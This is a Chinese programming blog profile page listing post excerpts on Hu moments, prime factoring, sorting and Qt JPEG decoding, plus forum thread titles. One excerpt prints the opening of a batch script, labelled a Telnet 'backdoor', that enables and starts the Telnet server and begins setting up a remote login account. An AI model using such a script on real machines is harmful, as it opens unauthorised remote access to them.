自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(6)
  • 资源 (6)
  • 论坛 (143)
  • 收藏
  • 关注

原创 验证Hu矩的旋转不变性

Image Momenthttp://en.wikipedia.org/wiki/Image_moment Hu矩先由中心矩u_{pq}开始计算,因此具有平移不变性 接着将每个中心矩u_{ij}除以{u_{00}}^(1+\frac{i+j}{2}),因此其具有等比例尺度缩放不变性 下面用mathematica验证其旋转不变性,只考虑其中一个点v_i对每个矩

2015-01-08 08:42:29 1946

原创 找质数,分解质因数,找完全数

代码由 bacmoz 优化http://hi.csdn.net/bacmoz#include #include using namespace std;unsigned int MPow(unsigned int factor, unsigned int n){ unsigned int result = 1; for (unsigned int i = 0; i class SimpleList{private: struct SimpleList

2011-03-03 22:02:00 714

原创 数组索引排序

<br />/* 求优化建议 *//* 哪里不足尽管指出 */#include <cstdlib>#include <iostream>#include <vector>#include <stdlib.h>#include <time.h> using namespace std; vector<unsigned long int> a(0); //Index sortvector<u

2011-03-03 21:58:00 670

转载 微软的垃圾帖定义。

一、 判断依据纯粹为达到增加发帖量为目的帖子或扰乱影响论坛帖子正常浏览的帖子。二、 垃圾帖范围如下:1. 广告以及只含有广告内容、链接的文章;2. 标题或内容含有大量刺目符号的文章;3. 排版混乱、严重影响版面美观的文章;4. 图像不能显示或显示过慢的文章;5. 主要内容为显示网址的文章;6. 试发帖;7. 空帖。8. 字数少又毫无意义或只有寒暄话题 (谢,OK,不错,顶,D,ding,KK,同意…等等) (多次重用加重处罚,灌水区发帖也不能字数太少或无意义。);9. 发表内容与交流区主题不符的文章,发帖内

2011-02-07 16:54:00 542

原创 批处理开启TelNet后门

<br />@echo off title 生成Telnet远程登录 setlocal enabledelayedexpansion if not exist "%windir%/system32/tlntsvr.exe" ( echo 找不到Telnet服务文件,请退出 pause exit ) sc config tlntsvr start= auto sc start tlntsvr cls :a set /p user=请输入用

2011-02-07 16:52:00 1246 1

原创 慢速媒体排序 (VB 6.0)

<br />http://topic.csdn.net/u/20110104/19/c7ad4498-5b3c-46cb-a0e5-2cbb080349ea.html<br />Option ExplicitDim a() As SingleDim b() As Long '用于存放a()数组的索引Dim N As Long '数组元素的个数Dim MaxValueCounts As Long '筛选最大数值的个数Private

2011-02-07 16:46:00 561

QT,JPEG解码源代码(已完成)

#ifndef JPEGDECODE_H #define JPEGDECODE_H #include "global.h" #include "globalextern.h" typedef unsigned char BYTE; struct ImageComponentData { double value[3]; }; class MBitReader { public: BYTE* Data; int m_currentData; int m_currentDataIndex; int m_currentBitPosition; MBitReader(BYTE* data,int currentDataIndex) { Data=data; m_currentBitPosition=8; m_currentDataIndex=currentDataIndex; m_currentData=Data[m_currentDataIndex]; } public: int ReadNextBit() { if (m_currentBitPosition-1<0) { if (Data[m_currentDataIndex+1]!=0xFF) { m_currentBitPosition=8; ++m_currentDataIndex; m_currentData=Data[m_currentDataIndex]; } else { switch (Data[m_currentDataIndex+2]) { case 0x00: m_currentBitPosition=8; m_currentDataIndex+=2; m_currentData=0xFF; break; case 0xD9: return 0; break; default: m_currentBitPosition=8; m_currentDataIndex+=2; m_currentData=Data[m_currentDataIndex]; break; } } } --m_currentBitPosition; return (m_currentData >> m_currentBitPosition) & 0x01; } }; class MJpegDecode { public: struct _JFIFAPPOInfo { BYTE APP0[2]; /* 02h Application Use Marker */ BYTE Length[2]; /* 04h Length of APP0 Field */ BYTE Identifier[5]; /* 06h "JFIF" (zero terminated) Id String */ BYTE Version[2]; /* 0Bh JFIF Format Revision */ BYTE Units; /* 0Dh Units used for Resolution */ BYTE Xdensity[2]; /* 0Eh Horizontal Resolution */ BYTE Ydensity[2]; /* 10h Vertical Resolution */ BYTE XThumbnail; /* 12h Thumbnail Horizontal Pixel Count */ BYTE YThumbnail; /* 13h Thumbnail Vertical Pixel Count */ } JFIFAPPOINFO; struct _JFIFDQTInfo { BYTE DQT[2]; // 14h 量化表段标记 BYTE Length[2]; // 16h 量化表段长度 BYTE Identifier; // 18h 量化表ID BYTE QTData[64]; // 19h 量化表数据 } JFIFDQTINFO[2]; struct _JFIFSOFOInfo { BYTE SOFO[2]; // 9Eh 帧开始段标记 BYTE Length[2]; // A0h 帧开始段长度 BYTE BitCount; // A2h 样本精度bit位数 BYTE Height[2]; // A5h 图像像素宽度 BYTE Width[2]; // A3h 图像像素高度 BYTE ComponentsCount; // A7h 图像组件计数 BYTE YIdentifier; // A8h 亮度Y的ID号 BYTE YHVSamplingCoefficient; // A9h 亮度Y垂直和水平采样系数 BYTE YUsedDQTIdentifier; // AAh 亮度Y使用的量化表ID号 BYTE CbIdentifier; // ABh 色度Cb的ID号 BYTE CbHVSamplingCoefficient; // ACh 色度Cb垂直和水平采样系数 BYTE CbUsedDQTIdentifier; // ADh 色度Cb使用的量化表ID号 BYTE CrIdentifier; // AEh 色度Cr的ID号 BYTE CrHVSamplingCoefficient; // AFh 色度Cr垂直和水平采样系数 BYTE CrUsedDQTIdentifier; // B0h 色度Cr使用的量化表ID号 } JFIFSOFOINFO; struct _JFIFDRIInfo { BYTE DRI[2]; BYTE Length[2]; BYTE NMCUReset[2]; //每n个MCU块就有一个 RSTn 标记. } JFIFDRIINFO; struct _JFIFDHTInfo { BYTE DHT[2]; // B1h 哈夫曼表定义段标记 BYTE Length[2]; // B3h 哈夫曼表段长度 BYTE HTIdentifier; // B5h 哈夫曼表号 BYTE NBitsSymbolsCount[16]; // B6h (符号的二进制位长度为n)的符号个数 BYTE SymbolsTable[256]; // C6h 按递增次序代码长度排列的符号表 } JFIFDHTINFO[2][2]; struct _JFIFSOSInfo { BYTE SOS[2]; // 261h 扫描开始段标记 BYTE Length[2]; // 263h 扫描开始段长度 BYTE ComponentsCount; // 265h 扫描行内组件的数量 BYTE YIdentifier; // 266h 亮度Y的ID号 BYTE YHTTableID; // 267h 亮度Y使用的哈夫曼表ID号 BYTE CbIdentifier; // 268h 色度Cb的ID号 BYTE CbHTTableID; // 269h 色度Cb使用的哈夫曼表ID号 BYTE CrIdentifier; // 26Ah 色度Cr的ID号 BYTE CrHTTableID; // 26Bh 色度Cr使用的哈夫曼表ID号 BYTE Reserved[3]; // 26Ch 3个未知保留字节 } JFIFSOSINFO; private: struct HuffmanTable { int CodeOfFirstNLengthSymbol[17]; //长度为N的第一个码字的整数值 int NLengthToSymbolsTableIndex[16]; //查表得到第一个长度为N的符号位于符号表的索引 } HUFFMANTABLE[2][2]; public: int ReadJFIFInfo(const BYTE* const jfifData,int jfifDataSize); void DecodeData(int mcuStartIndex,BYTE* jfifData,int jfifDataSize,ImageComponentData*& targetBitmapData); void SetHuffmanTable(); void DecodeOneDUDC(MBitReader* myBitReader,double* DU,double& lastDC,int index1,int index2); void DecodeOneDUAC(MBitReader* myBitReader,double* DU,int index1,int index2); void DecodeOneMCU(MBitReader* myBitReader,int mcuXn,int mcuYn,int mcuWidth,int mcuHeight,double *DU,ImageComponentData* targetImage); void InverseQuantization(double* du,BYTE* quantizationTable); void InverseZigzag(double* sourceDU,double* targetDU); void IDCT(double* sourceDU,double* targetDU); void YCbCrToRGB(ImageComponentData* sourceImage,ImageComponentData* targetImage); public: int imageHeight; int imageWidth; int alignedImageWidth; int alignedImageHeight; HuffmanTable* HT; double DC[3]; int HSamplingCoefficient[3]; int VSamplingCoefficient[3]; int DQTID[3]; int nMCUReset; }; #endif // JPEGDECODE_H

2013-08-24

QT,jpeg解码project(未完成)

#ifndef JPEGDECODE_H #define JPEGDECODE_H #include "globalextern.h" typedef unsigned char BYTE; struct ImageComponentData { double value[3]; }; class MBitReader { public: MBitReader(BYTE* data,int currentDataIndex) { Data=data; m_currentBitPosition=8; m_currentDataIndex=currentDataIndex; } BYTE* Data; int m_currentDataIndex; int m_currentBitPosition; public: int ReadNextBit() { --m_currentBitPosition; if (m_currentBitPosition<0) { m_currentBitPosition+=8; ++m_currentDataIndex; } //if (m_currentDataIndex>632) theUI->label1->setText("Error!"); return ((Data[m_currentDataIndex]>>m_currentBitPosition) & 0x01); } void GoPreviousBit() { ++m_currentBitPosition; if (m_currentBitPosition>7) { m_currentBitPosition-=8; --m_currentDataIndex; } } int GetCurrentByte() { return Data[m_currentDataIndex]; } }; class MJpegDecode { private: struct _JFIFAPPOInfo { BYTE APP0[2]; /* 02h Application Use Marker */ BYTE Length[2]; /* 04h Length of APP0 Field */ BYTE Identifier[5]; /* 06h "JFIF" (zero terminated) Id String */ BYTE Version[2]; /* 0Bh JFIF Format Revision */ BYTE Units; /* 0Dh Units used for Resolution */ BYTE Xdensity[2]; /* 0Eh Horizontal Resolution */ BYTE Ydensity[2]; /* 10h Vertical Resolution */ BYTE XThumbnail; /* 12h Thumbnail Horizontal Pixel Count */ BYTE YThumbnail; /* 13h Thumbnail Vertical Pixel Count */ } JFIFAPPOINFO; struct _JFIFDQTInfo { BYTE DQT[2]; // 14h 量化表段标记 BYTE Length[2]; // 16h 量化表段长度 BYTE Identifier; // 18h 量化表ID BYTE QTData[64]; // 19h 量化表数据 } JFIFDQTINFO[2]; struct _JFIFSOFOInfo { BYTE SOFO[2]; // 9Eh 帧开始段标记 BYTE Length[2]; // A0h 帧开始段长度 BYTE BitCount; // A2h 样本精度bit位数 BYTE Height[2]; // A5h 图像像素宽度 BYTE Width[2]; // A3h 图像像素高度 BYTE ComponentsCount; // A7h 图像组件计数 BYTE YIdentifier; // A8h 亮度Y的ID号 BYTE YHVSamplingCoefficient; // A9h 亮度Y垂直和水平采样系数 BYTE YUsedDQTIdentifier; // AAh 亮度Y使用的量化表ID号 BYTE CbIdentifier; // ABh 色度Cb的ID号 BYTE CbHVSamplingCoefficient; // ACh 色度Cb垂直和水平采样系数 BYTE CbUsedDQTIdentifier; // ADh 色度Cb使用的量化表ID号 BYTE CrIdentifier; // AEh 色度Cr的ID号 BYTE CrHVSamplingCoefficient; // AFh 色度Cr垂直和水平采样系数 BYTE CrUsedDQTIdentifier; // B0h 色度Cr使用的量化表ID号 } JFIFSOFOINFO; struct _JFIFDHTInfo { BYTE DHT[2]; // B1h 哈夫曼表定义段标记 BYTE Length[2]; // B3h 哈夫曼表段长度 BYTE HTIdentifier; // B5h 哈夫曼表号 BYTE NBitsSymbolsCount[16]; // B6h (符号的二进制位长度为n)的符号个数 BYTE SymbolsTable[256]; // C6h 按递增次序代码长度排列的符号表 } JFIFDHTINFO[4]; struct _JFIFSOSInfo { BYTE SOS[2]; // 261h 扫描开始段标记 BYTE Length[2]; // 263h 扫描开始段长度 BYTE ComponentsCount; // 265h 扫描行内组件的数量 BYTE YIdentifier; // 266h 亮度Y的ID号 BYTE YHTTableID; // 267h 亮度Y使用的哈夫曼表ID号 BYTE CbIdentifier; // 268h 色度Cb的ID号 BYTE CbHTTableID; // 269h 色度Cb使用的哈夫曼表ID号 BYTE CrIdentifier; // 26Ah 色度Cr的ID号 BYTE CrHTTableID; // 26Bh 色度Cr使用的哈夫曼表ID号 BYTE Reserved[3]; // 26Ch 3个未知保留字节 } JFIFSOSINFO; private: struct HuffmanTable { int CodeOfFirstNLengthSymbol[17]; //长度为N的第一个码字的整数值 int NLengthToSymbolsTableIndex[16]; //查表得到第一个长度为N的符号位于符号表的索引 } HUFFMANTABLE[4]; public: int ReadJFIFInfo(const BYTE* const jfifData,int jfifDataSize); void DecodeData(int mcuStartIndex,BYTE* jfifData,int jfifDataSize,ImageComponentData*& targetBitmapData); void SetHuffmanTable(); void DecodeOneDUDC(MBitReader* myBitReader,double* DU,double& lastDC,int HTID); void DecodeOneDUAC(MBitReader* myBitReader,double* DU,int HTID); void DecodeOneMCU(MBitReader* myBitReader,int mcuXn,int mcuYn,int mcuWidth,int mcuHeight,double *DU,ImageComponentData* targetImage); void InverseQuantization(double* du,BYTE* quantizationTable); void InverseZigzag(double* sourceDU,double* targetDU); void IDCT(double* sourceDU,double* targetDU); void YCbCrToRGB(ImageComponentData* sourceImage,ImageComponentData* targetImage); public: int imageHeight; int imageWidth; int alignedImageWidth; int alignedImageHeight; struct HuffmanTableID { int dc; int ac; } HTID[3]; double DC[3]; int HSamplingCoefficient[3]; int VSamplingCoefficient[3]; int DQTID[3]; }; #endif // JPEGDECODE_H

2013-07-15

获取淘宝宝贝信息_更新1

更新后的获取淘宝宝贝信息,可以模拟按键发布宝贝

2013-06-03

获取二值图重心

根据杠杆原理获取二值图点阵重心 Type WeightPoint '受力点的重心位置和重量 X As Double Y As Double Weight As Long End Type Type LineDataStruct O As WeightPoint '返回值 'A和B 的重心位置O和重量 AX1Y1 As WeightPoint 'A点 BX2Y2 As WeightPoint 'B点 AB As Double '线段AB的长度,A、B两点间的欧氏距离 BO As Double '线段BO的长度 '以下用于解直线方程 X1EqualX2 As Boolean '当AX1Y1.X = BX2Y2.X时True,AB两点所在直线为 x轴值=X1,否则 y轴值=l * x轴值 + d l As Double 'y轴值=l * x轴值 + d d As Double 'y轴值=l * x轴值 + d '以下用于解二次方程 a As Double b As Double c As Double End Type

2012-02-12

获取淘宝宝贝信息_未完成

获取淘宝宝贝信息 问题: 【IE8是否允许网页脚本访问计算机关键位置】用WebBrowser打开淘宝宝贝页面,键鼠锁死,电脑死机

2011-11-19

隐藏所有Windows窗口.exe

'隐藏所有Windows窗口.exe Attribute VB_Name = "Module1" Option Explicit Dim AllhWnd() As Long '动态数组,用来保存取得的全部窗口的句柄 Dim AllhWnd_i, AllhWnd_j As Long Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As Long '枚举窗口列表中的所有父窗口(顶级和被所有窗口) Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long '控制窗口的可见性 Const SW_HIDE = 0 '隐藏常数 Public Function EnumWindowsProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Long '这个就是回调函数,用来遍查全部窗口句柄 AllhWnd_i = AllhWnd_i + 1 ReDim Preserve AllhWnd(AllhWnd_i) '动态变量 AllhWnd(AllhWnd_i) = app_hwnd '保存句柄 EnumWindowsProc = True '循环,继续列举hwnd End Function '注:每枚举一个窗口需调用一次回调函数 Public Function HideAllWindow() '自已定义的一个函数,用来设置全部窗口的隐藏。 EnumWindows AddressOf EnumWindowsProc, 0 '传递回调函数的指针给EnumWindows 函数。枚举窗口列表中的所有父窗口(顶级和被所有窗口) For AllhWnd_j = 1 To AllhWnd_i ShowWindow AllhWnd(AllhWnd_j), 5 '逐个隐藏全部窗口 Next End Function

2009-12-23

关于凸函数的性质证明

发表于 2013-05-28 最后回复 2019-08-26

qt在调试时如何查看和复制比较长的std::string字符串

发表于 2016-06-06 最后回复 2016-06-08

实现带有capacity的多维数组tensor

发表于 2016-02-16 最后回复 2016-02-25

晕死了,一个错误都没有(全局键盘鼠标Hook)BY 夜闻香

发表于 2011-02-08 最后回复 2015-05-21

求支持python和c++混合调试的IDE

发表于 2015-03-07 最后回复 2015-03-22

图像处理的用户界面可以具备哪些功能

发表于 2014-12-09 最后回复 2014-12-09

GPL协议第三版,对自由软件产生的输出的使用限制

发表于 2014-12-05 最后回复 2014-12-06

多维空间的最近邻点查找

发表于 2014-10-01 最后回复 2014-10-08

关于C++在运算处理方式上的几个疑问

发表于 2014-09-01 最后回复 2014-09-02

快速排序模板

发表于 2014-06-04 最后回复 2014-06-05

如何基于加法定义每一阶的超运算?

发表于 2014-05-13 最后回复 2014-05-17

不完全得分记录可能的胜负结果数量

发表于 2014-04-21 最后回复 2014-05-07

如何选择对称矩阵的分解方法用于解线性方程组

发表于 2014-04-30 最后回复 2014-05-01

关于最小费用最大流,如何证明沿着最小费用路径增广,得到的一定是最小费用流

发表于 2014-04-08 最后回复 2014-04-09

如下,交换两相交线段的端点,能使得两线段不相交吗?如何求解

发表于 2014-04-08 最后回复 2014-04-08

用非正版的Win 7,用工具激活后,在桌面提示此windows副本不是正版,怎么屏蔽提示

发表于 2014-03-17 最后回复 2014-03-18

如何对单位正方形的四个顶点进行delaunay三角网剖分,使得结果唯一

发表于 2014-02-04 最后回复 2014-02-04

求y=1和y=2两直线的交点

发表于 2013-12-31 最后回复 2014-01-03

关于无限个无穷小的和

发表于 2013-12-22 最后回复 2014-01-03

n个事件两两独立是否能导出n个事件完全独立

发表于 2013-11-07 最后回复 2013-11-07

关于支持向量机模型的模拟,使用欧式距离

发表于 2013-05-12 最后回复 2013-08-19

用于数据纠错的ECC(内存纠错技术),能不能使用更少的纠错位

发表于 2013-08-17 最后回复 2013-08-18

如何在QT中继承模板类

发表于 2013-08-11 最后回复 2013-08-12

信息编码中的香农熵是否可以通过如下的极限定义

发表于 2013-08-01 最后回复 2013-08-02

如何快速计算离散余弦变换

发表于 2013-07-24 最后回复 2013-07-28

求jpeg编解码的实用资料

发表于 2013-07-15 最后回复 2013-07-16

关于图像局部二值化OSTU算法求解自适应阈值m

发表于 2013-05-26 最后回复 2013-07-11

编译标准Dll时,函数接口是否可以使用函数模板

发表于 2013-06-28 最后回复 2013-06-28

如下Qt程序可能有内存泄漏,导致泄漏的代码位于Qt源文件何处呢

发表于 2013-06-23 最后回复 2013-06-23

Qt中如下代码加载图片是否会造成内存泄漏

发表于 2013-06-23 最后回复 2013-06-23

VC++用什么开发界面比较方便

发表于 2013-06-22 最后回复 2013-06-23

如何重置迭代器,再次使用该迭代器访问数据

发表于 2013-06-17 最后回复 2013-06-18

函数返回函数指针,如何定义不使用typedef的等价形式

发表于 2013-06-18 最后回复 2013-06-18

如何解释函数指针的两种不同类型调用方法

发表于 2013-06-11 最后回复 2013-06-11

排列组合的输出,求时间效率更高的方法

发表于 2013-06-07 最后回复 2013-06-08

如何用namespace将std包含在oldstd里

发表于 2013-06-03 最后回复 2013-06-04

C++有没有内置的整数向下取整函数?

发表于 2013-06-03 最后回复 2013-06-03

将对象保存到文件

发表于 2013-05-14 最后回复 2013-05-15

如何在RGB色彩空间计算色料的叠加

发表于 2013-05-08 最后回复 2013-05-09

【xyylove520】很茂盛,为你散分 2

发表于 2013-01-18 最后回复 2013-04-07

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人 TA的粉丝

提示
确定要删除当前文章?
取消 删除